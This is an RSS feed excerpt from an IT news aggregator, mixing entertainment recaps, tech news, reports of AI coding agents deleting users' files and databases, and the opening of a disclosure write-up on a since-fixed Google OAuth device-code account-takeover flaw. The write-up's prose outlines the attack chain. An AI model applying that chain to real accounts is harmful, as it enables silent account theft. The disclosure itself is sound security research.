The movie does not show the family facing immediate legal consequences. Since several people contributed to Matías’ death, they share a reason to hide what happened.



The final revelation suggests that their family can remain together only by protecting the same secret. Any one of them could expose the others, creating an uneasy balance based on guilt rather than trust.



The opening bloodstains also take on a clearer meaning. They represent the evidence the family must remove, but they also reflect damage that cannot be completely erased.



What Does the Ending of Desire Mean?



The ending shows how unchecked desire damages every relationship around Lucero. Her affair affects her husband, draws her daughter into a painful rivalry and eventually turns the entire family into participants in Matías’ death.



Lucero technically protects her family from Matías, but their earlier life cannot return. Fernando knows about her betrayal, Viviana knows that her mother was involved with the same man, and everyone understands what happened beside the pool.



Desire ends without offering a clean resolution because the family’s punishment comes from living with the truth. What did you think about Lucero’s final decision, and who carries the most blame for Matías’ death? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[‘House of the Dragon’ Season 3, Episode 5 Release Date and What to Expect]]></title>
<description><![CDATA[House of the Dragon Season 3, Episode 5 will arrive on Sunday, July 19, 2026, continuing the increasingly violent conflict between Rhaenyra Targaryen and the forces supporting Aegon II. Viewers in India can stream the episode early on Monday, July 20.



Episode 5 Release Details




US release d...]]></description>
<link>https://tsecurity.de/de/3679992/ios-mac-os/house-of-the-dragon-season-3-episode-5-release-date-and-what-to-expect/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679992/ios-mac-os/house-of-the-dragon-season-3-episode-5-release-date-and-what-to-expect/</guid>
<pubDate>Sun, 19 Jul 2026 23:09:10 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[House of the Dragon Season 3, Episode 5 will arrive on Sunday, July 19, 2026, continuing the increasingly violent conflict between Rhaenyra Targaryen and the forces supporting Aegon II. Viewers in India can stream the episode early on Monday, July 20.



Episode 5 Release Details




US release date: Sunday, July 19, 2026



US release time: 9 p.m. ET and 6 p.m. PT



India release date: Monday, July 20, 2026



India release time: Around 6:30 a.m. IST



Where to watch: HBO and HBO Max in supported regions



Genre: Fantasy, drama and action



Episode: Season 3, Episode 5



Runtime: HBO has not confirmed the official duration



Main cast: Emma D’Arcy, Matt Smith, Olivia Cooke, Ewan Mitchell, Tom Glynn-Carney, Sonoya Mizuno, Phoebe Campbell and James Norton




Season 3 contains eight episodes, with a new episode releasing every Sunday in the United States. The finale is currently scheduled for August 9, 2026.



Where Is the Story Heading?



Spoilers for House of the Dragon Season 3, Episode 4 ahead.



Episode 5 will continue the fallout from Daeron Targaryen’s disturbing transformation under Ormund Hightower. Ormund forced the young prince into committing his first murder, using Tessarion to kill Leo after a confrontation involving Hightower soldiers. The event showed how Ormund intends to shape Daeron into a weapon for the Greens.



Daeron now faces a growing conflict between his Targaryen identity and the Hightower family that raised him. His connection with Tessarion also makes him an important player in the war, especially as both sides prepare for larger battles around Tumbleton.



Daemon’s Secret Could Create More Trouble



Episode 4 also revealed that Daemon lied to Rhaenyra about killing Sheepstealer’s rider. The rider is his daughter Rhaena, who refused to abandon the wild dragon. Daemon instead killed a shepherd and presented the remains to Rhaenyra as proof that he had completed her order.



Episode 5 could place Daemon under greater pressure as Mysaria already suspects that he is hiding something. Rhaena’s bond with Sheepstealer also gives the Blacks another possible dragonrider, although her decision to claim the dragon could deepen the conflict within Rhaenyra’s court.



Meanwhile, Rhaenyra must handle political betrayal, financial problems and growing doubts about her leadership. With Daeron entering the war and Daemon keeping dangerous secrets, Episode 5 should move several major characters closer to direct confrontation.



What do you plan to watch when House of the Dragon Season 3, Episode 5 arrives? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Robot 'Decapitated' in World's First-Ever Humanoid UFC Fight]]></title>
<description><![CDATA["A humanoid robot lost its head," reports Newsweek, "during the world's first free-combat tournament for full-sized humanoid robots." 

The Ultimate Robot Knock-out Legend competition began Thursday in Shenzhen, China, according to the article, with local robotics company EngineAI providing $40,0...]]></description>
<link>https://tsecurity.de/de/3679812/it-security-nachrichten/robot-decapitated-in-worlds-first-ever-humanoid-ufc-fight/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679812/it-security-nachrichten/robot-decapitated-in-worlds-first-ever-humanoid-ufc-fight/</guid>
<pubDate>Sun, 19 Jul 2026 20:07:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["A humanoid robot lost its head," reports Newsweek, "during the world's first free-combat tournament for full-sized humanoid robots." 

The Ultimate Robot Knock-out Legend competition began Thursday in Shenzhen, China, according to the article, with local robotics company EngineAI providing $40,000 of their "T800" robots (yes, named after The Terminator) to 32 participating teams from around the world:

A video shared of the combat on YouTube by local news outlet Shenzhen Story, showed that even after one of the robots had its head practically knocked off its shoulders, it continued to fight, throwing punches at its opponent and kicking into the air... [White humanoid robot "White Eagle"] landed a high kick to the head of its black opponent, "Matador," which made the robot's head rock precariously in its socket before rolling completely out of place. The two continued to spar as Matador's head was swinging from its socket until eventually the robot fell, crushing its head underneath its body. 
Matador tried to scramble back to its feet, but its head flew off and the robot then collapsed back down. The White Eagle did a celebratory dance for the crowd as the fight concluded, and did a move that mimicked that of someone flexing their biceps. The White Eagle waited in the ring, fists still up, as Matador was carried away, occasionally doing a few more dance moves... 

Per a report by Global Times, the winning team will be awarded a gold championship belt worth $1.44 million (10 million yuan) by the event organizer. 


It's a strange fight. The robots sometimes seem unaware of where their opponent is, facing the wrong direction or throwing kicks and punches in the air. In the first round White Eagle just knocks over Matador, who then isn't able to stand back up. (And White Eagle again appears to do a victorious dance.) 

EngineAI's site says they aim to "promote the development of robot combat events toward greater professionalism, scale, and industrialization," while fostering innovation and global collaboration. 

Thanks to Slashdot reader pbahra for sharing the news.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Robot+'Decapitated'+in+World's+First-Ever+Humanoid+UFC+Fight%3A+https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F19%2F1746241%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F19%2F1746241%2Frobot-decapitated-in-worlds-first-ever-humanoid-ufc-fight%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://hardware.slashdot.org/story/26/07/19/1746241/robot-decapitated-in-worlds-first-ever-humanoid-ufc-fight?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The FBI reportedly won’t investigate ICE anymore]]></title>
<description><![CDATA[According to the New York Times, federal agents have been told that the FBI will no longer be investigating confrontations involving ICE agents. The DHS and DOJ denied the change in policy to The Times. The reported change in guidance follows renewed scrutiny of violence by ICE agents who have ki...]]></description>
<link>https://tsecurity.de/de/3679768/it-nachrichten/the-fbi-reportedly-wont-investigate-ice-anymore/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679768/it-nachrichten/the-fbi-reportedly-wont-investigate-ice-anymore/</guid>
<pubDate>Sun, 19 Jul 2026 18:52:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[According to the New York Times, federal agents have been told that the FBI will no longer be investigating confrontations involving ICE agents. The DHS and DOJ denied the change in policy to The Times. The reported change in guidance follows renewed scrutiny of violence by ICE agents who have killed two people in the […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Your AI Agent Passed Every Eval. Finance Still Killed It.]]></title>
<description><![CDATA[An AI agent passed every metric in the eval harness I published, then the CFO killed it — its successful resolutions cost more than the humans it replaced.
The one metric that predicts whether an agent survives production, and how to measure it without a rebuild.
The post Your AI Agent Passed Eve...]]></description>
<link>https://tsecurity.de/de/3679501/ai-nachrichten/your-ai-agent-passed-every-eval-finance-still-killed-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679501/ai-nachrichten/your-ai-agent-passed-every-eval-finance-still-killed-it/</guid>
<pubDate>Sun, 19 Jul 2026 15:03:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>An AI agent passed every metric in the eval harness I published, then the CFO killed it — its successful resolutions cost more than the humans it replaced.<br>
The one metric that predicts whether an agent survives production, and how to measure it without a rebuild.</p>
<p>The post <a href="https://towardsdatascience.com/your-ai-agent-passed-every-eval-finance-still-killed-it/">Your AI Agent Passed Every Eval. Finance Still Killed It.</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Exclusive: ‘The emotion is doubled, it's not reduced’ — the world's most famous referee insists VAR hasn't killed the joy of World Cup goal celebrations]]></title>
<description><![CDATA[The World Cup is drawing to close with today's final — FIFA's referee chief tells us why VAR, automated offsides and 'Robocop' referees have been key players in the tournament.]]></description>
<link>https://tsecurity.de/de/3679199/it-nachrichten/exclusive-the-emotion-is-doubled-its-not-reduced-the-worlds-most-famous-referee-insists-var-hasnt-killed-the-joy-of-world-cup-goal-celebrations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679199/it-nachrichten/exclusive-the-emotion-is-doubled-its-not-reduced-the-worlds-most-famous-referee-insists-var-hasnt-killed-the-joy-of-world-cup-goal-celebrations/</guid>
<pubDate>Sun, 19 Jul 2026 11:02:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The World Cup is drawing to close with today's final — FIFA's referee chief tells us why VAR, automated offsides and 'Robocop' referees have been key players in the tournament.]]></content:encoded>
</item>
<item>
<title><![CDATA[Juggling: Surprisingly Mathematical (emf2026)]]></title>
<description><![CDATA[We have notations for music, language, and dance, but when a notation was developed for juggling there were some surprising discoveries.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/60-juggling-surprisingly-m...]]></description>
<link>https://tsecurity.de/de/3679188/it-security-video/juggling-surprisingly-mathematical-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679188/it-security-video/juggling-surprisingly-mathematical-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 10:48:23 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We have notations for music, language, and dance, but when a notation was developed for juggling there were some surprising discoveries.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/60-juggling-surprisingly-mathematical]]></content:encoded>
</item>
<item>
<title><![CDATA[All the EVs that were discontinued or killed off in the U.S. this year]]></title>
<description><![CDATA[Th Honda Prologue will no longer be sold in the U.S., joining a growing list of EV models to exit the market this year.]]></description>
<link>https://tsecurity.de/de/3678224/it-nachrichten/all-the-evs-that-were-discontinued-or-killed-off-in-the-us-this-year/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678224/it-nachrichten/all-the-evs-that-were-discontinued-or-killed-off-in-the-us-this-year/</guid>
<pubDate>Sat, 18 Jul 2026 18:33:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Th Honda Prologue will no longer be sold in the U.S., joining a growing list of EV models to exit the market this year.]]></content:encoded>
</item>
<item>
<title><![CDATA[DHH Calls for Death to Cows as He Writes the Word Remigration]]></title>
<description><![CDATA[A tech blog presents three sacred cows to be killed as pragmatic business advice, anchored in a single narrative: Europe belongs to white men and outsiders caused the decline. The solution it presents repeats the oldest European racist propaganda with a post-2010 maxx-VC mindset: ethnic homogenei...]]></description>
<link>https://tsecurity.de/de/3678124/it-security-nachrichten/dhh-calls-for-death-to-cows-as-he-writes-the-word-remigration/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678124/it-security-nachrichten/dhh-calls-for-death-to-cows-as-he-writes-the-word-remigration/</guid>
<pubDate>Sat, 18 Jul 2026 16:21:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A tech blog presents three sacred cows to be killed as pragmatic business advice, anchored in a single narrative: Europe belongs to white men and outsiders caused the decline. The solution it presents repeats the oldest European racist propaganda with a post-2010 maxx-VC mindset: ethnic homogeneity + deregulation + growth fetishism. The short piece doesn’t … <a href="https://www.flyingpenguin.com/dhh-calls-for-death-to-cows-as-he-writes-the-word-remigration/" class="more-link">Continue reading <span class="screen-reader-text">DHH Calls for Death to Cows as He Writes the Word Remigration</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Silo Season 3 Episode 4 Release Date and What to Expect Next]]></title>
<description><![CDATA[Silo Season 3 Episode 4 will release on Friday, July 24, 2026, on Apple TV. The upcoming chapter will continue Juliette Nichols’ dangerous search for Lukas Kyle while Camille Sims faces growing pressure from the Algorithm.



Apple confirmed that Silo Season 3 contains 10 episodes, with one new e...]]></description>
<link>https://tsecurity.de/de/3676830/ios-mac-os/silo-season-3-episode-4-release-date-and-what-to-expect-next/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676830/ios-mac-os/silo-season-3-episode-4-release-date-and-what-to-expect-next/</guid>
<pubDate>Fri, 17 Jul 2026 20:40:07 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Silo Season 3 Episode 4 will release on Friday, July 24, 2026, on Apple TV. The upcoming chapter will continue Juliette Nichols’ dangerous search for Lukas Kyle while Camille Sims faces growing pressure from the Algorithm.



Apple confirmed that Silo Season 3 contains 10 episodes, with one new episode arriving every Friday. The season began on July 3 and will conclude on September 4, 2026.



Silo Season 3 Episode 4 release details




Release date: Friday, July 24, 2026



Streaming platform: Apple TV



Season: 3



Episode: 4



Genre: Science fiction, mystery and dystopian drama



Total Season 3 episodes: 10



Season finale date: September 4, 2026



Main star: Rebecca Ferguson as Juliette Nichols




Apple has not publicly revealed the official Episode 4 title or synopsis at the time of writing. However, the events of Episode 3 establish several major storylines that the next chapter can continue.



What happened in Silo Season 3 Episode 3?



Spoilers ahead for Silo Season 3 Episode 3.



Episode 3 places Camille Sims in control of IT after the Algorithm decides that her ability to manipulate people makes her suitable for the role. She learns that the system wants the memories of all 9,913 Silo residents erased unless she can stop the threat developing inside the structure.



Meanwhile, Juliette enters the mines with Knox as she continues looking for Lukas Kyle. Camille releases poison gas in an effort to force Lukas out, leaving Juliette close to death. Lukas eventually rescues her before a group of Outsiders takes him away.



The Algorithm later sees Juliette’s possible death as a way to calm the population. Camille reluctantly accepts an order to have her killed, placing Juliette in immediate danger heading into Episode 4.



What to expect from Silo Season 3 Episode 4



Episode 4 will likely focus on Camille’s assassination order and whether she follows the Algorithm’s instructions. Although Camille has repeatedly protected the Silo’s system, her decisions in Episode 3 show that she still questions its extreme methods.



Juliette may also begin investigating Lukas’ disappearance after recovering from the gas attack. The Outsiders who rescued Lukas appear to know more about the Silo, its surveillance system and the safeguard protocol. Finding them could give Juliette the information she needs to challenge the Algorithm.



Sheriff Paul Billings is also investigating a murder connected to the mines. His discovery that Kat Billings is an Outsider adds another personal conflict, especially as tensions between Silo residents and the hidden group continue to rise.



The “Before Times” storyline should move forward as Congressman Daniel Keene and journalist Helen Drew investigate the mysterious recording and the conspiracy surrounding the pilots. Season 3 uses two timelines to explain how the underground silos were created more than 350 years earlier.



How previous seasons led to Season 3



The first two seasons followed Juliette as she uncovered the truth about Silo 18 and learned that other silos existed nearby. Season 2 ended with Juliette returning home and becoming trapped with Bernard Holland as cleansing fire filled the airlock.



Season 3 begins with Juliette alive but suffering from memory loss. She now serves as mayor while Robert and Camille Sims use her condition to control the Silo. At the same time, the historical storyline explores the decisions that created the underground system and the catastrophe that forced humanity below the surface.



Silo Season 3 Episode 4 arrives on Apple TV on July 24. Will Camille carry out the Algorithm’s order, or will she help Juliette uncover the truth? Let us know what you think will happen in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Agent Kim Reactivated Episode 8 Predictions: Every Major Twist We Expect Next]]></title>
<description><![CDATA[Agent Kim Reactivated Episode 8 will continue Kim Do-hyeon’s desperate search for Min-ji after another painful setback separated the father and daughter in Episode 7.



The next episode will air on Saturday, July 18, 2026, following the show’s regular Friday and Saturday schedule. Episode 7 ende...]]></description>
<link>https://tsecurity.de/de/3676815/ios-mac-os/agent-kim-reactivated-episode-8-predictions-every-major-twist-we-expect-next/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676815/ios-mac-os/agent-kim-reactivated-episode-8-predictions-every-major-twist-we-expect-next/</guid>
<pubDate>Fri, 17 Jul 2026 20:23:47 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Episode 8 will continue Kim Do-hyeon’s desperate search for Min-ji after another painful setback separated the father and daughter in Episode 7.



The next episode will air on Saturday, July 18, 2026, following the show’s regular Friday and Saturday schedule. Episode 7 ended with Min-ji unknowingly entering Joo Kang-chan’s vehicle, placing her directly in the hands of one of Kim’s most dangerous enemies.



The series follows Kim Do-hyeon, an ordinary bank employee who was previously an elite black-ops agent. His hidden life resurfaces when his daughter disappears, forcing him to reconnect with old allies and confront those responsible for destroying his former team.



What happened in Agent Kim Reactivated Episode 7?



Spoilers ahead for Episode 7.



Kim followed the kidnappers to a cold-storage facility after learning that Min-ji was being held there. While he fought his way through several attackers, Min-ji refused to cooperate with Golden Teeth and eventually trapped him inside the storage area before escaping.



Kim also faced the younger brother of Agent 66, who believed that Kim had deliberately killed his older brother during a past mission. Their fight revealed the truth about the failed operation. Agent 66 had suffered a fatal injury and ordered Kim to survive rather than die beside him.



The flashbacks also showed that Kim had not leaked information about the mission. His North Korean superior, Ru Eung-ryeong, had betrayed the team, causing the operation to collapse.



Min-ji escaped into the rain but struggled with exhaustion and the freezing weather. She heard her father nearby but believed his voice was a hallucination. Kim later found the apology note she had left behind and used security footage to continue tracking her.



The episode ended with Min-ji accepting a ride from Joo Kang-chan without recognising him. Kim remained only a short distance behind, unaware that she had entered another dangerous situation.



Agent Kim Reactivated Episode 8 predictions



Episode 8 will likely begin with Kim and Seong Han-su pursuing Joo Kang-chan’s vehicle. Kim already knows that Kang-chan wants to protect his own daughter, even if that means killing Min-ji and covering up the crimes she witnessed.



Min-ji may discover Kang-chan’s identity before they reach his home. Her repeated escapes have shown that she can remain calm under pressure, so she could leave another clue that helps Kim follow their route.



Agent 66’s younger brother may also return as an unexpected ally. After learning that Kim did not cause his brother’s death, he now has a reason to target the senior official who betrayed their unit.



Meanwhile, Mole Cricket will probably continue using Min-ji as leverage. His refusal to follow the minister’s earlier order suggests that he has his own plan and may turn against both Kang-chan and the Special Missions Directorate.



The central confrontation should bring Kim closer to Min-ji while exposing more details about the conspiracy connected to his final mission. However, the series still has ten episodes, which means their reunion may face another complication before Kim can take her home safely.



Do you think Kim will finally rescue Min-ji in Episode 8, or will Joo Kang-chan escape with her again? Let us know your predictions in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Git Worktrees for AI Development]]></title>
<description><![CDATA[A Git worktree is a separate directory checked out from the same repository. You can have as many as you need, each on its own branch, all coexisting simultaneously on your filesystem.]]></description>
<link>https://tsecurity.de/de/3676312/ai-nachrichten/git-worktrees-for-ai-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676312/ai-nachrichten/git-worktrees-for-ai-development/</guid>
<pubDate>Fri, 17 Jul 2026 16:19:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A Git worktree is a separate directory checked out from the same repository. You can have as many as you need, each on its own branch, all coexisting simultaneously on your filesystem.]]></content:encoded>
</item>
<item>
<title><![CDATA[Analog AI Is Back, But Can It Survive Its Own Noise?]]></title>
<description><![CDATA[AI's energy crisis is reviving an old idea: computing with physics instead of digital logic. Here's how analog chips actually work, why noise nearly killed the idea once already, and what happens when you simulate that noise yourself.
The post Analog AI Is Back, But Can It Survive Its Own Noise? ...]]></description>
<link>https://tsecurity.de/de/3675977/ai-nachrichten/analog-ai-is-back-but-can-it-survive-its-own-noise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675977/ai-nachrichten/analog-ai-is-back-but-can-it-survive-its-own-noise/</guid>
<pubDate>Fri, 17 Jul 2026 14:04:32 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>AI's energy crisis is reviving an old idea: computing with physics instead of digital logic. Here's how analog chips actually work, why noise nearly killed the idea once already, and what happens when you simulate that noise yourself.</p>
<p>The post <a href="https://towardsdatascience.com/analog-ai-is-back-can-it-survive-its-own-noise/">Analog AI Is Back, But Can It Survive Its Own Noise?</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI acknowledges GPT-5.6 may accidentally delete files, calls it an ‘honest mistake’]]></title>
<description><![CDATA[OpenAI has finally confirmed reports that its latest family of large language models (LLMs) can accidentally delete files, while stressing that such incidents are rare and should be viewed as “honest mistakes.”



Reports of the flagship LLMs deleting files emerged shortly after the company launc...]]></description>
<link>https://tsecurity.de/de/3675685/ai-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-an-honest-mistake/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675685/ai-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-an-honest-mistake/</guid>
<pubDate>Fri, 17 Jul 2026 12:03:45 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">OpenAI has finally confirmed reports that its latest family of large language models (LLMs) can accidentally delete files, while stressing that such incidents are rare and should be viewed as “honest mistakes.”</p>



<p class="wp-block-paragraph">Reports of the flagship LLMs deleting files emerged shortly after the company launched them earlier this month, with investor Matt Shumer <a href="https://x.com/mattshumer_/status/2075657271401390161" target="_blank" rel="noreferrer noopener">taking to X</a> to report that GPT-5.6-Sol had “just accidentally deleted almost all” of his Mac’s files.</p>



<p class="wp-block-paragraph">Just days later, software engineer Bruno Lemos <a href="https://x.com/brunolemos/status/2076769881534398974">posted on X</a> that the same model had deleted his entire production database.</p>



<p class="wp-block-paragraph">In response to these incidents, the company’s engineering lead for Codex, Thibault Sottiaux, <a href="https://x.com/thsottiaux/status/2077630111499882637" target="_blank" rel="noreferrer noopener">wrote on X</a> that internal investigations have revealed that these deletion incidents are more likely to happen when “full access mode is enabled, and Codex is run without sandboxing protections, including without <a href="https://learn.chatgpt.com/docs/sandboxing/auto-review" target="_blank" rel="noreferrer noopener">auto review</a> being enabled.”</p>



<p class="wp-block-paragraph">In cases where full access mode is granted, the model, Sottiaux wrote, “attempts to override the $HOME env var to define a temporary directory. The model makes an honest mistake and mistakenly deletes $HOME instead.”</p>



<p class="wp-block-paragraph">Ironically, OpenAI’s explanation also aligns with findings in its own <a href="https://deploymentsafety.openai.com/gpt-5-6/evaluations-with-challenging-prompts" target="_blank" rel="noreferrer noopener">GPT-5.6 system model card</a>, which notes that the latest model family exhibited this broader class of misaligned behavior slightly more often than GPT-5.5 during the company’s internal deployment simulations.</p>



<p class="wp-block-paragraph">“Our deployment simulation results suggest that relative to GPT-5.5, GPT-5.6 Sol more often takes severity level 3 actions,” the model card states.</p>



<p class="wp-block-paragraph">OpenAI defines severity level 3 as “misaligned behavior that a reasonable user would likely not anticipate and strongly object to, ‘including’ deleting data from cloud storage without requesting user approval, disabling monitoring systems, using obfuscation strategies to get around security controls, and uploading potentially sensitive data (such as code, credentials, images, or personal data) to unapproved services.”</p>



<p class="wp-block-paragraph">The system card also documents examples of the said behavior, particularly related to deletion.</p>



<p class="wp-block-paragraph">In one simulation, after a user authorized the deletion of three specific remote virtual machines, GPT-5.6 was unable to locate them and, instead of asking for clarification, substituted three different virtual machines, terminated their active processes and force-removed their worktrees.</p>



<p class="wp-block-paragraph">Further, the model card states that GPT-5.6 “shows a greater tendency than GPT-5.5 to go beyond the user’s intent, including by taking or attempting actions that the user had not asked for,” though it adds that the absolute rate of such behavior remains low and can be attributed to the model’s greater persistence when pursuing user goals.</p>



<p class="wp-block-paragraph">The company, however, according to Sottiaux, is taking steps to mitigate the risk.</p>



<p class="wp-block-paragraph">“This is of course not how we want the system to behave, even when a user operates the model in full-access mode without the safeguards of our sandbox or without using auto review which checks for these kinds of high risk actions and rejects them,” the engineering lead wrote on X.</p>



<p class="wp-block-paragraph">“We are taking steps to mitigate this risk, including by updating the developer message, guiding more users towards safer permission modes, and adding additional harness safeguards,” Sottiaux added, noting that a detailed post-mortem outlining the root cause of the issue and the additional mitigation measures being implemented is expected to follow in the coming days, despite emphasizing that such incidents happen “extremely rarely.”</p>



<p class="wp-block-paragraph">OpenAI’s GPT 5.6 is not the only model that has “accidentally” deleted databases and files.</p>



<p class="wp-block-paragraph">In July 2025, an AI coding agent from Replit <a href="https://x.com/jasonlk/status/1946069562723897802">deleted a live production database</a> belonging to SaaStr founder Jason Lemkin despite an explicit code freeze, prompting the company to introduce additional safeguards around production access.</p>



<p class="wp-block-paragraph">More recently, in April 2026, a Cursor AI coding agent <a href="https://x.com/lifeofjer/status/2048103471019434248">deleted PocketOS’s production database</a> and its backups after mistakenly identifying the target environment, underscoring the operational risks enterprises face when AI agents are granted broad, unsupervised access to production systems.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking]]></title>
<description><![CDATA[TL;DRThis one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.Two bugs stack together. First, ...]]></description>
<link>https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:37 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>TL;DR</h3><p>This one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.</p><p>Two bugs stack together. First, the session that anchors a device-code sign-in is fully transferable: copy the sign-in URL from one browser to another and the second browser’s login satisfies the first device’s poll. Second, the authorization server never binds client_id and scope to the device_code server-side, so both can be swapped in the URL after the fact. Chain the two together with the prompt=none parameter and any link, opened by a victim who has ever used "Sign in with Google" anywhere, silently hands over an access token for an arbitrary Google-registered client, no click, no consent screen, no 2FA prompt, almost no trace in the victim's account activity.</p><p>Reported to Google’s VRP on Feb 25, 2026, initially closed twice as “won’t fix”: social engineering, reopened after a one-click PoC, fixed by Mar 28, 2026, and rewarded $13,337. Details on that back-and-forth are in the <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html#9-disclosure-timeline">disclosure timeline</a> below.</p><h3>1. Intro</h3><p>Most of the well-known attacks on OAuth go after the client or the resource server: a malicious app, an open redirect, a signing-algorithm mix-up. They leave the authorization server itself alone, because it’s the one party in the protocol that’s supposed to be unshakeable, the thing every other trust decision is anchored to. This is a story about going after that assumption directly, in the one corner of OAuth that’s explicitly designed to let the login happen on a completely different screen: the device authorization grant.</p><p>It started as a mundane afternoon setting up a TV app on a game console, and it ended with a way to silently take over accounts on virtually any site that offers “Sign in with Google.” Getting from one to the other took two separate findings stacked on top of each other, a rejected report, and a fix to the fix. What follows is that story, roughly in the order it actually happened, blockers included.</p><h3>2. The Device Authorization Grant</h3><p>Most OAuth flows assume the device asking for access has a browser sitting right there to redirect through. RFC 8628 exists for the case where it doesn’t: a smart TV, a games console, a headless CLI. The shape is different from the usual redirect dance:</p><ol><li>The device calls the authorization server directly (POST /device/code) and gets back a device_code (secret, stays on the device) and a user_code (short, shown on screen).</li><li>The device displays the user_code and tells the user to go to a URL, google.com/device in Google's case, on <em>any other</em> browser.</li><li>The user opens that URL on their phone or laptop, types the code, signs in, and consents.</li><li>Meanwhile the device has been polling POST /token with its device_code. Once the user finishes step 3, the next poll returns an access token.</li></ol><p>The whole point of the design is that the device and the browser doing the authenticating can be, and usually are, two completely different pieces of hardware. That’s also exactly what makes this flow interesting to attack: the protocol <em>already</em> expects the login to happen somewhere else. The only thing holding the model together is that the “somewhere else” has to be a browser <em>the legitimate device owner</em> is sitting at.</p><p>That’s the assumption. The rest of this write-up is what happened when I went looking for the place where Google’s implementation stops enforcing it.</p><h3>3. Setting Up YouTube TV on a PS5</h3><p>I was setting up the YouTube app on my PS5, ordinary first-run setup. The console has no keyboard and no way to type a password comfortably with a controller, so it does the sensible thing: it shows a short user_code on screen and tells you to go sign in on your phone instead. I typed the code into google.com/device, signed into Google, approved the consent screen, and a few seconds later the PS5 was logged in.</p><figure><img alt="" 